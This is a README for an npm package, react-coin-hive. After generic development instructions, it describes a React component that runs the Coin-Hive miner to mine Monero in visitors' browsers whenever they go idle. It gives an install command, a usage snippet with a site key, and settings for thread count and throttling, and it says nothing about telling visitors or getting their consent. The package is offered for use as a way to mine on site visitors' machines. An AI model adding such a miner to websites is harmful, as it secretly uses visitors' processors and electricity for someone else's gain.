## Prerequisites

[Node.js](http://nodejs.org/) >= v4 must be installed.

## Installation

- Running `npm install` in the components's root directory will install everything you need for development.

## Demo Development Server

- `npm start` will run a development server with the component's demo app at [http://localhost:3000](http://localhost:3000) with hot module reloading.

## Running Tests

- `npm test` will run the tests once.

- `npm run test:coverage` will run the tests and produce a coverage report in `coverage/`.

- `npm run test:watch` will run the tests on every change.

## Building

- `npm run build` will build the component for publishing to npm and also bundle the demo app.

- `npm run clean` will delete built resources.

# React Coin-Hive

Mine cryptocurrency while your users _haven’t engaged with your content_ lately. Inspired by the last paragraph of [this article](https://cdb.reacttraining.com/announcing-react-idle-8fc0b9e2d33e).

This uses [Coin-Hive](https://coin-hive.com/) to mine [Monero (XMR)](https://getmonero.org/).

## Installation

```
npm install --save react-coin-hive
```

## Usage

```jsx
// Anywhere in your app as long as it gets mounted
<CoinHive siteKey='ZM4gjqQ0jh0jbZ3tZDByOXAjyotDbo00'/>
```

## Props

- `siteKey`: Your [Coin-Hive Site Key](https://coin-hive.com/settings/sites).

- `timeout`: How long before considering that the user is idle in milliseconds. Default is `30000`.

- `userName`: If used, the miner will be created with `CoinHive.User(siteKey, userName)`. By default the miner is created with `CoinHive.Anonymous(siteKey)`.

- `threads`: The number of threads the miner should start with. Default is `2`.

- `throttle`: The fraction of time that threads should be idle. Default is `0`.

- `onInit`: A function that takes the `miner` instance as argument. It's called when the miner is created.

- `onStart`: A function that takes the `miner` instance as argument. It's called every time the miner is started.

- `onStop`: A function that takes the `miner` instance as argument. It's called every time the miner is stopped.

## Disclaimer

I have nothing to do with `coin-hive.com`
